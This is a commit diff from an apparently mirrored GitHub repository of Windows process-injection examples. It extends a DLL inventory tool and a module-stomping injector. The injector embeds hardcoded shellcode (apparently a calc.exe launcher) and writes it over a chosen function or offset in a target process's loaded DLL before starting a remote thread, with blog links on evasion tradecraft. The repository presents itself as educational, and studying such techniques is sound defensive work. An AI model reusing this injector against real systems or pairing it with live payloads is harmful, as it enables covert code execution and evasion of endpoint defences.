mirror of
https://github.com/toneillcodes/windows-process-injection
synced 2026-06-21 14:11:25 +00:00
Enhancements to facilitate testing workflows
This commit is contained in:
@@ -18,7 +18,7 @@ A collection of examples intended to demonstrate the fundamentals and provide a
|
||||
* [Thread Pool Injection](thread-pool-injection/README.md)
|
||||
|
||||
## Blog Posts
|
||||
* [Process Injection Fundamentals(https://medium.com/@toneillcodes/windows-process-injection-fundamentals-00d43ee9ecad)
|
||||
* [Process Injection Fundamentals](https://medium.com/@toneillcodes/windows-process-injection-fundamentals-00d43ee9ecad)
|
||||
* [The Ministry of Silly Walks Presents: Walking the PEB](https://infosecwriteups.com/the-ministry-of-silly-walks-presents-walking-the-peb-e3c159eb3d30)
|
||||
* [An Introduction To Module Stomping](https://medium.com/@toneillcodes/an-introduction-to-module-stomping-26238af76d43)
|
||||
* [Advanced Evasion Tradecraft: Precision Module Stomping](https://medium.com/@toneillcodes/advanced-evasion-tradecraft-precision-module-stomping-b51feb0978fe)
|
||||
@@ -14,7 +14,7 @@ typedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(
|
||||
);
|
||||
|
||||
// --- Core Internal Abstraction Layer ---
|
||||
|
||||
// seamlessly handle memory read operations for both local and remote operations
|
||||
BOOL ReadMemoryInternal(HANDLE hProcess, PVOID baseAddress, PVOID localBuffer, SIZE_T size) {
|
||||
if (hProcess == NULL || hProcess == LOCAL_PROCESS_HANDLE) {
|
||||
__try {
|
||||
@@ -30,6 +30,7 @@ BOOL ReadMemoryInternal(HANDLE hProcess, PVOID baseAddress, PVOID localBuffer, S
|
||||
}
|
||||
}
|
||||
|
||||
// PE validation function, if this fails we probably don't have a valid PE and can stop
|
||||
BOOL GetPEHeaders(HANDLE hProcess, PVOID moduleBase, IMAGE_DOS_HEADER* outDos, IMAGE_NT_HEADERS* outNt) {
|
||||
if (!ReadMemoryInternal(hProcess, moduleBase, outDos, sizeof(IMAGE_DOS_HEADER))) return FALSE;
|
||||
if (outDos->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;
|
||||
@@ -205,7 +206,9 @@ BOOL GetModuleSectionGeneric(HANDLE hProcess, PVOID moduleBase, const char* sect
|
||||
BOOL found = FALSE;
|
||||
for (WORD i = 0; i < numberOfSections; i++) {
|
||||
if (strncmp((char*)sectionHeaders[i].Name, sectionName, IMAGE_SIZEOF_SHORT_NAME) == 0) {
|
||||
outSectionInfo->VirtualAddress = (BYTE*)moduleBase + sectionHeaders[i].VirtualAddress;
|
||||
//outSectionInfo->VirtualAddress = (BYTE*)moduleBase + sectionHeaders[i].VirtualAddress;
|
||||
// Copy the offset directly (DWORD to DWORD)
|
||||
outSectionInfo->VirtualAddress = sectionHeaders[i].VirtualAddress;
|
||||
outSectionInfo->SizeOfRawData = sectionHeaders[i].SizeOfRawData;
|
||||
outSectionInfo->VirtualSize = sectionHeaders[i].Misc.VirtualSize;
|
||||
found = TRUE;
|
||||
@@ -217,6 +220,49 @@ BOOL GetModuleSectionGeneric(HANDLE hProcess, PVOID moduleBase, const char* sect
|
||||
return found;
|
||||
}
|
||||
|
||||
/**
|
||||
* Accepts an already populated local PEB structure copy.
|
||||
*/
|
||||
WCHAR* GetRemoteProcessImagePathEx(HANDLE hProcess, PPEB pLocalPebContent) {
|
||||
if (!pLocalPebContent || !pLocalPebContent->ProcessParameters) return NULL;
|
||||
|
||||
// 1. Read the Process Parameters structure using the pointer inside your pre-read PEB
|
||||
RTL_USER_PROCESS_PARAMETERS_LITE procParams;
|
||||
if (!ReadProcessMemory(hProcess, pLocalPebContent->ProcessParameters, &procParams, sizeof(procParams), NULL)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// 2. Allocate space and fetch the wide string path
|
||||
USHORT pathLenBytes = procParams.ImagePathName.Length;
|
||||
WCHAR* localPathBuffer = (WCHAR*)malloc(pathLenBytes + sizeof(WCHAR));
|
||||
if (!localPathBuffer) return NULL;
|
||||
|
||||
ZeroMemory(localPathBuffer, pathLenBytes + sizeof(WCHAR));
|
||||
|
||||
if (ReadProcessMemory(hProcess, procParams.ImagePathName.Buffer, localPathBuffer, pathLenBytes, NULL)) {
|
||||
return localPathBuffer; // Caller frees
|
||||
}
|
||||
|
||||
free(localPathBuffer);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/**
|
||||
* Convenience Wrapper: Handles fetching the PEB for you if you don't have it yet.
|
||||
*/
|
||||
WCHAR* GetRemoteProcessImagePath(HANDLE hProcess) {
|
||||
PVOID remotePebAddr = GetRemotePebAddress(hProcess);
|
||||
if (!remotePebAddr) return NULL;
|
||||
|
||||
PEB localPeb;
|
||||
if (!ReadProcessMemory(hProcess, remotePebAddr, &localPeb, sizeof(PEB), NULL)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// invoke the optimized function
|
||||
return GetRemoteProcessImagePathEx(hProcess, &localPeb);
|
||||
}
|
||||
|
||||
// --- Exported Public API Wrappers ---
|
||||
|
||||
void* GetLocalTebAddress(void) {
|
||||
|
||||
@@ -8,7 +8,7 @@
|
||||
#endif
|
||||
|
||||
typedef struct _IMAGE_SECTION_INFO {
|
||||
PVOID VirtualAddress;
|
||||
DWORD VirtualAddress;
|
||||
DWORD SizeOfRawData;
|
||||
DWORD VirtualSize;
|
||||
} IMAGE_SECTION_INFO, *PIMAGE_SECTION_INFO;
|
||||
@@ -28,13 +28,13 @@ typedef struct _LDR_DATA_TABLE_ENTRY_COMPAT {
|
||||
// Define the COMPLETE structure since winternl.h cuts out the fields we need
|
||||
typedef struct _FULL_LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
LIST_ENTRY InInitializationOrderLinks;
|
||||
PVOID DllBase;
|
||||
PVOID EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
WORD ObsoleteLoadCount;
|
||||
WORD TlsIndex;
|
||||
@@ -57,6 +57,14 @@ typedef NTSTATUS(NTAPI* pNtQueryInformationThread)(
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
// Minimum required definitions for the Process Parameters
|
||||
typedef struct _RTL_USER_PROCESS_PARAMETERS_LITE {
|
||||
BYTE Reserved1[16];
|
||||
PVOID Reserved2[10];
|
||||
UNICODE_STRING ImagePathName;
|
||||
UNICODE_STRING CommandLine;
|
||||
} RTL_USER_PROCESS_PARAMETERS_LITE, *PRTL_USER_PROCESS_PARAMETERS_LITE;
|
||||
|
||||
// --- Forward Declarations of Public API Functions ---
|
||||
void* GetLocalTebAddress(void);
|
||||
PVOID GetRemotePebAddress(HANDLE hProcess);
|
||||
@@ -64,6 +72,9 @@ PVOID GetRemotePebAddress(HANDLE hProcess);
|
||||
PVOID GetModuleBaseManual(PPEB pebObject, const char* targetModuleName);
|
||||
PVOID GetModuleBaseManualRemote(HANDLE hProcess, PVOID remotePebAddr, const char* targetModuleName);
|
||||
|
||||
WCHAR* GetRemoteProcessImagePathEx(HANDLE hProcess, PPEB pLocalPebContent);
|
||||
WCHAR* GetRemoteProcessImagePath(HANDLE hProcess);
|
||||
|
||||
PVOID GPAManualByName(HMODULE hMod, char* targetFunc);
|
||||
PVOID GPAManualByOrdinal(HMODULE hMod, WORD ordinal);
|
||||
PVOID GetRemoteProcAddressManual(HANDLE hProcess, PVOID moduleBase, const char* functionName);
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
/*
|
||||
* Outputs the DLLs loaded by a process with optional flags to display names only and write to a file
|
||||
* compile: cl.exe /D"UNICODE" /D"_UNICODE" list-process-dlls.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp ..\includes\ps-utils.cpp
|
||||
* compile: cl.exe list-process-dlls.cpp ..\includes\peb-eat-utils.cpp ..\includes\utils.cpp ..\includes\ps-utils.cpp
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <stdbool.h> // Ensure bool, true, and false are explicitly supported
|
||||
@@ -8,7 +8,7 @@
|
||||
#include "..\includes\peb-eat-utils.h"
|
||||
#include "..\includes\ps-utils.h"
|
||||
|
||||
void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFilePath) {
|
||||
void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, bool showSize, bool includeImagePath, const char* outputFilePath) {
|
||||
PVOID remotePebAddr = GetRemotePebAddress(hProcess);
|
||||
if (!remotePebAddr) {
|
||||
printf("[-] Failed to locate remote PEB.\n");
|
||||
@@ -27,13 +27,20 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile
|
||||
return;
|
||||
}
|
||||
|
||||
// Retrieve the executable image path using the optimized function
|
||||
WCHAR* exePath = GetRemoteProcessImagePathEx(hProcess, &remotePebContent);
|
||||
if (exePath && !showSize) {
|
||||
printf("[+] Executed From: %ws\n", exePath);
|
||||
}
|
||||
|
||||
// Try opening the file if a path was provided
|
||||
FILE* outputFile = NULL;
|
||||
if (outputFilePath) {
|
||||
outputFile = fopen(outputFilePath, "w");
|
||||
if (!outputFile) {
|
||||
printf("[-] Failed to open output file: %s. Defaulting to console only.\n", outputFilePath);
|
||||
} else {
|
||||
} else if (!showSize) {
|
||||
// Only print this diagnostic line if we aren't generating a pure CSV stream
|
||||
printf("[+] Output will also be dumped to: %s\n", outputFilePath);
|
||||
}
|
||||
}
|
||||
@@ -41,15 +48,26 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile
|
||||
LIST_ENTRY* headRemoteLink = &((PPEB_LDR_DATA)remotePebContent.Ldr)->InMemoryOrderModuleList;
|
||||
LIST_ENTRY currentLink = remoteLdrContent.InMemoryOrderModuleList;
|
||||
|
||||
printf("[+] Enumerating loaded modules:\n");
|
||||
printf("--------------------------------------------------\n");
|
||||
// Adjust CSV headers based on whether the image path column is requested
|
||||
if (showSize) {
|
||||
if (includeImagePath) {
|
||||
printf("TargetProcess,Name,TextSectionSize\n");
|
||||
if (outputFile) fprintf(outputFile, "TargetProcess,Name,TextSectionSize\n");
|
||||
} else {
|
||||
printf("Name,TextSectionSize\n");
|
||||
if (outputFile) fprintf(outputFile, "Name,TextSectionSize\n");
|
||||
}
|
||||
} else {
|
||||
printf("[+] Enumerating loaded modules:\n");
|
||||
printf("--------------------------------------------------\n");
|
||||
}
|
||||
|
||||
while (currentLink.Flink != headRemoteLink) {
|
||||
ULONG_PTR remoteEntryAddr = (ULONG_PTR)currentLink.Flink - sizeof(LIST_ENTRY);
|
||||
|
||||
FULL_LDR_DATA_TABLE_ENTRY remoteEntryContent;
|
||||
if (!ReadProcessMemory(hProcess, (LPCVOID)remoteEntryAddr, &remoteEntryContent, sizeof(FULL_LDR_DATA_TABLE_ENTRY), NULL)) {
|
||||
printf("[-] Failed to read a module entry from the list.\n");
|
||||
if (!showSize) printf("[-] Failed to read a module entry from the list.\n");
|
||||
break;
|
||||
}
|
||||
|
||||
@@ -61,15 +79,33 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile
|
||||
|
||||
if (ReadProcessMemory(hProcess, remoteEntryContent.BaseDllName.Buffer, localBuffer, nameLen, NULL)) {
|
||||
|
||||
if (namesOnly) {
|
||||
printf("%ws\n", localBuffer);
|
||||
if (outputFile) {
|
||||
fprintf(outputFile, "%ws\n", localBuffer);
|
||||
DWORD textSectionSize = 0;
|
||||
|
||||
if (showSize) {
|
||||
IMAGE_SECTION_INFO sectionInfo = { 0 };
|
||||
if (GetRemoteModuleSection(hProcess, remoteEntryContent.DllBase, ".text", §ionInfo)) {
|
||||
textSectionSize = sectionInfo.VirtualSize;
|
||||
}
|
||||
} else {
|
||||
printf("[0x%p] %ws\n", remoteEntryContent.DllBase, localBuffer);
|
||||
if (outputFile) {
|
||||
fprintf(outputFile, "[0x%p] %ws\n", remoteEntryContent.DllBase, localBuffer);
|
||||
}
|
||||
|
||||
if (showSize) {
|
||||
// Conditional CSV formatting row structure
|
||||
if (includeImagePath && exePath) {
|
||||
printf("%ws,%ws,%lu\n", exePath, localBuffer, textSectionSize);
|
||||
if (outputFile) fprintf(outputFile, "%ws,%ws,%lu\n", exePath, localBuffer, textSectionSize);
|
||||
} else {
|
||||
printf("%ws,%lu\n", localBuffer, textSectionSize);
|
||||
if (outputFile) fprintf(outputFile, "%ws,%lu\n", localBuffer, textSectionSize);
|
||||
}
|
||||
}
|
||||
else if (namesOnly) {
|
||||
printf("%ws\n", localBuffer);
|
||||
if (outputFile) fprintf(outputFile, "%ws\n", localBuffer);
|
||||
}
|
||||
else {
|
||||
printf("[0x%p - Size: %lu] %ws\n", remoteEntryContent.DllBase, remoteEntryContent.SizeOfImage, localBuffer);
|
||||
if (outputFile) {
|
||||
fprintf(outputFile, "[0x%p - Size: %lu] %ws\n", remoteEntryContent.DllBase, remoteEntryContent.SizeOfImage, localBuffer);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -79,6 +115,11 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile
|
||||
currentLink = remoteEntryContent.InMemoryOrderLinks;
|
||||
}
|
||||
|
||||
// Clean up our string asset allocation before exiting out
|
||||
if (exePath) {
|
||||
free(exePath);
|
||||
}
|
||||
|
||||
if (outputFile) {
|
||||
fclose(outputFile);
|
||||
}
|
||||
@@ -87,19 +128,24 @@ void InventoryRemoteDlls(HANDLE hProcess, bool namesOnly, const char* outputFile
|
||||
void PrintUsage(const char* programName) {
|
||||
printf("Usage: %s [options]\n", programName);
|
||||
printf("Options:\n");
|
||||
printf(" -p, --pid Target process ID.\n");
|
||||
printf(" -n, --names-only Only print out the raw DLL names (omit base addresses)\n");
|
||||
printf(" -o, --output <filename> Dump the inventory out to a text file\n");
|
||||
printf(" -h, --help Show this help screen\n");
|
||||
printf(" -p, --pid Target process ID.\n");
|
||||
printf(" -n, --names-only Only print out the raw DLL names (omit base addresses)\n");
|
||||
printf(" -s, --size Output name and .text size in CSV format\n");
|
||||
printf(" -i, --include-path Include the target process image path within the CSV output\n");
|
||||
printf(" -o, --output <filename> Dump the inventory out to a text file\n");
|
||||
printf(" -h, --help Show this help screen\n");
|
||||
}
|
||||
|
||||
int handleArgs(int argc, char *argv[], bool* namesOnly, const char** outputFilePath, DWORD* targetPid) {
|
||||
int handleArgs(int argc, char *argv[], bool* namesOnly, bool* showSize, bool* includeImagePath, const char** outputFilePath, DWORD* targetPid) {
|
||||
for (int i = 1; i < argc; i++) {
|
||||
if (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--pid") == 0) {
|
||||
// Check if there's an actual argument following -p
|
||||
if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
|
||||
PrintUsage(argv[0]);
|
||||
return -1;
|
||||
}
|
||||
else if (strcmp(argv[i], "-p") == 0 || strcmp(argv[i], "--pid") == 0) {
|
||||
if (i + 1 < argc) {
|
||||
*targetPid = atoi(argv[i + 1]);
|
||||
i++; // Skip next argument since we consumed it here
|
||||
i++;
|
||||
} else {
|
||||
printf("[-] Error: -p/--pid requires a target process ID.\n");
|
||||
PrintUsage(argv[0]);
|
||||
@@ -109,21 +155,22 @@ int handleArgs(int argc, char *argv[], bool* namesOnly, const char** outputFileP
|
||||
else if (strcmp(argv[i], "-n") == 0 || strcmp(argv[i], "--names-only") == 0) {
|
||||
*namesOnly = true;
|
||||
}
|
||||
else if (strcmp(argv[i], "-s") == 0 || strcmp(argv[i], "--size") == 0) {
|
||||
*showSize = true;
|
||||
}
|
||||
else if (strcmp(argv[i], "-i") == 0 || strcmp(argv[i], "--include-path") == 0) {
|
||||
*includeImagePath = true;
|
||||
}
|
||||
else if (strcmp(argv[i], "-o") == 0 || strcmp(argv[i], "--output") == 0) {
|
||||
// Check if there's an actual argument following -o
|
||||
if (i + 1 < argc) {
|
||||
*outputFilePath = argv[i + 1];
|
||||
i++; // Skip next argument since we consumed it here
|
||||
i++;
|
||||
} else {
|
||||
printf("[-] Error: -o/--output requires a file path argument.\n");
|
||||
PrintUsage(argv[0]);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
else if (strcmp(argv[i], "-h") == 0 || strcmp(argv[i], "--help") == 0) {
|
||||
PrintUsage(argv[0]);
|
||||
return 0;
|
||||
}
|
||||
else {
|
||||
printf("[-] Unknown parameter: %s\n", argv[i]);
|
||||
PrintUsage(argv[0]);
|
||||
@@ -135,11 +182,17 @@ int handleArgs(int argc, char *argv[], bool* namesOnly, const char** outputFileP
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
bool namesOnly = false;
|
||||
bool showSize = false;
|
||||
bool includeImagePath = false;
|
||||
const char* outputFilePath = NULL;
|
||||
DWORD targetPid = 0;
|
||||
|
||||
int validArgs = 0;
|
||||
validArgs = handleArgs(argc, argv, &namesOnly, &outputFilePath, &targetPid);
|
||||
validArgs = handleArgs(argc, argv, &namesOnly, &showSize, &includeImagePath, &outputFilePath, &targetPid);
|
||||
|
||||
if (validArgs == -1) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (validArgs != 0) {
|
||||
return validArgs;
|
||||
@@ -157,7 +210,7 @@ int main(int argc, char *argv[]) {
|
||||
return 1;
|
||||
}
|
||||
|
||||
InventoryRemoteDlls(pHandle, namesOnly, outputFilePath);
|
||||
InventoryRemoteDlls(pHandle, namesOnly, showSize, includeImagePath, outputFilePath);
|
||||
|
||||
CloseHandle(pHandle);
|
||||
return 0;
|
||||
|
||||
@@ -13,10 +13,11 @@
|
||||
#include "..\includes\utils.h"
|
||||
|
||||
void PrintUsage(const char* programName) {
|
||||
printf("[INFO] Usage: %s -p <PID> -d <Target_DLL> -f <Target_Function> [Options]\n", programName);
|
||||
printf("[INFO] Usage: %s -p <PID> -d <Target_DLL> [-f <Target_Function> | -o <Hex_Offset>] [Options]\n", programName);
|
||||
printf(" -p : Target Process ID (PID)\n");
|
||||
printf(" -d : Name of the target DLL (e.g., wininet.dll)\n");
|
||||
printf(" -f : Name of the exported function to stomp (e.g., CommitUrlCacheEntryW)\n");
|
||||
printf(" -o : Hexadecimal offset relative to the .text section start (e.g., 0x1A40 or 1A40)\n");
|
||||
printf("\nOptions:\n");
|
||||
printf(" -n : Enable NOP testing mode (ignores hardcoded shellcode)\n");
|
||||
printf(" -s : Number of NOP bytes to write (required if -n is used)\n");
|
||||
@@ -43,12 +44,15 @@ int main(int argc, char *argv[]) {
|
||||
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
|
||||
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
|
||||
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
|
||||
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
|
||||
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
|
||||
|
||||
DWORD pid = 0;
|
||||
char* targetDll = NULL;
|
||||
char* targetFunction = NULL;
|
||||
|
||||
BOOL hasOffset = FALSE;
|
||||
DWORD textOffset = 0;
|
||||
|
||||
BOOL nopMode = FALSE;
|
||||
DWORD nopSize = 0;
|
||||
|
||||
@@ -63,6 +67,10 @@ int main(int argc, char *argv[]) {
|
||||
targetDll = argv[++i];
|
||||
} else if (strcmp(argv[i], "-f") == 0 && i + 1 < argc) {
|
||||
targetFunction = argv[++i];
|
||||
} else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
|
||||
hasOffset = TRUE;
|
||||
// Parse the string as a hexadecimal value (handles both "0x1A" and "1A" format variants)
|
||||
textOffset = (DWORD)strtoul(argv[++i], NULL, 16);
|
||||
} else if (strcmp(argv[i], "-n") == 0) {
|
||||
nopMode = TRUE;
|
||||
} else if (strcmp(argv[i], "-s") == 0 && i + 1 < argc) {
|
||||
@@ -75,12 +83,24 @@ int main(int argc, char *argv[]) {
|
||||
}
|
||||
|
||||
// Validate that all core fields were filled
|
||||
if (pid == 0 || targetDll == NULL || targetFunction == NULL) {
|
||||
printf("[ERROR] Missing required arguments!\n");
|
||||
if (pid == 0 || targetDll == NULL) {
|
||||
printf("[ERROR] Missing required arguments (PID and Target DLL are mandatory)!\n");
|
||||
PrintUsage(argv[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Enforce mutual exclusivity between function string naming and raw offset addressing
|
||||
if (targetFunction != NULL && hasOffset) {
|
||||
printf("[ERROR] Ambiguous targeting strategy! Specify a function export (-f) OR a text offset (-o), not both.\n");
|
||||
PrintUsage(argv[0]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Fallback if neither positioning parameter was supplied
|
||||
if (targetFunction == NULL && !hasOffset) {
|
||||
printf("[INFO] Neither function (-f) nor offset (-o) specified. Defaulting to base of .text section.\n");
|
||||
}
|
||||
|
||||
// Validate NOP mode logic rules
|
||||
if (nopMode && nopSize == 0) {
|
||||
printf("[ERROR] NOP mode (-n) enabled, but no size (-s) specified!\n");
|
||||
@@ -122,7 +142,7 @@ int main(int argc, char *argv[]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Target PEB located at: : 0x%016llx\n", remotePebAddr);
|
||||
printf("[*] Target PEB located at: : 0x%016llx\n", (ULONG_PTR)remotePebAddr);
|
||||
|
||||
PPEB peb_ptr = (PPEB)remotePebAddr;
|
||||
|
||||
@@ -135,25 +155,50 @@ int main(int argc, char *argv[]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
printf("[*] Target DLL base located at: : 0x%016llx\n", targetModuleBase);
|
||||
printf("[*] Target DLL base located at: : 0x%016llx\n", (ULONG_PTR)targetModuleBase);
|
||||
|
||||
LPVOID bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction);
|
||||
if (bufferAddress == NULL) {
|
||||
printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError());
|
||||
CloseHandle(pHandle);
|
||||
if (nopMode) free(writeBuffer);
|
||||
return -1;
|
||||
LPVOID bufferAddress = NULL;
|
||||
|
||||
// Dynamic Export Lookup
|
||||
if (targetFunction != NULL) {
|
||||
printf("[*] Attempting to locate function: %s\n", targetFunction);
|
||||
bufferAddress = (LPVOID)GetRemoteProcAddressManual(pHandle, targetModuleBase, targetFunction);
|
||||
if (bufferAddress == NULL) {
|
||||
printf("[ERROR] Failed to locate target function %s! Error: %lu\n", targetFunction, GetLastError());
|
||||
CloseHandle(pHandle);
|
||||
if (nopMode) free(writeBuffer);
|
||||
return -1;
|
||||
}
|
||||
printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, (ULONG_PTR)bufferAddress);
|
||||
}
|
||||
// Image-Base Relative RVA Positioning
|
||||
else {
|
||||
if (hasOffset) {
|
||||
printf("[*] Applying RVA offset 0x%X directly from Image Base\n", textOffset);
|
||||
bufferAddress = (LPVOID)((PBYTE)targetModuleBase + textOffset);
|
||||
} else {
|
||||
printf("[*] No function or offset specified. Locating absolute start of .text section.\n");
|
||||
IMAGE_SECTION_INFO sectionInfo = { 0 };
|
||||
if (GetRemoteModuleSection(pHandle, targetModuleBase, ".text", §ionInfo)) {
|
||||
bufferAddress = (LPVOID)((PBYTE)targetModuleBase + sectionInfo.VirtualAddress);
|
||||
} else {
|
||||
printf("[ERROR] Failed to locate .text section within the target module.\n");
|
||||
CloseHandle(pHandle);
|
||||
if (nopMode) free(writeBuffer);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
if (bufferAddress != NULL) {
|
||||
printf("[*] Target address resolved to: 0x%016llx\n", (ULONG_PTR)bufferAddress);
|
||||
}
|
||||
}
|
||||
printf("[*] Target %s!%s located at: 0x%016llx\n", targetDll, targetFunction, bufferAddress);
|
||||
|
||||
printf("[*] Press Enter to write the data to the buffer address: ");
|
||||
getchar();
|
||||
|
||||
|
||||
printf("[*] Writing to buffer.\n");
|
||||
// Write either the shellcode or the NOP payload to the target area
|
||||
BOOL writePayload = WriteProcessMemory(pHandle, bufferAddress, writeBuffer, writeSize, NULL);
|
||||
if (writePayload == false) {
|
||||
printf("[ERROR] Failed to write data! Using address: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
|
||||
if (writePayload == FALSE) {
|
||||
printf("[ERROR] Failed to write data! Using address: 0x%016llx, Error: %lu\n", (ULONG_PTR)bufferAddress, GetLastError());
|
||||
CloseHandle(pHandle);
|
||||
if (nopMode) free(writeBuffer);
|
||||
return -1;
|
||||
@@ -168,11 +213,6 @@ int main(int argc, char *argv[]) {
|
||||
CloseHandle(pHandle);
|
||||
return -1;
|
||||
}
|
||||
|
||||
/*
|
||||
printf("[*] Waiting for the thread to return...\n");
|
||||
WaitForSingleObject(tHandle, INFINITE);
|
||||
*/
|
||||
CloseHandle(tHandle);
|
||||
} else {
|
||||
printf("[*] Skipping thread creation (NOP testing mode complete).\n");
|
||||
|
||||
Reference in New Issue
Block a user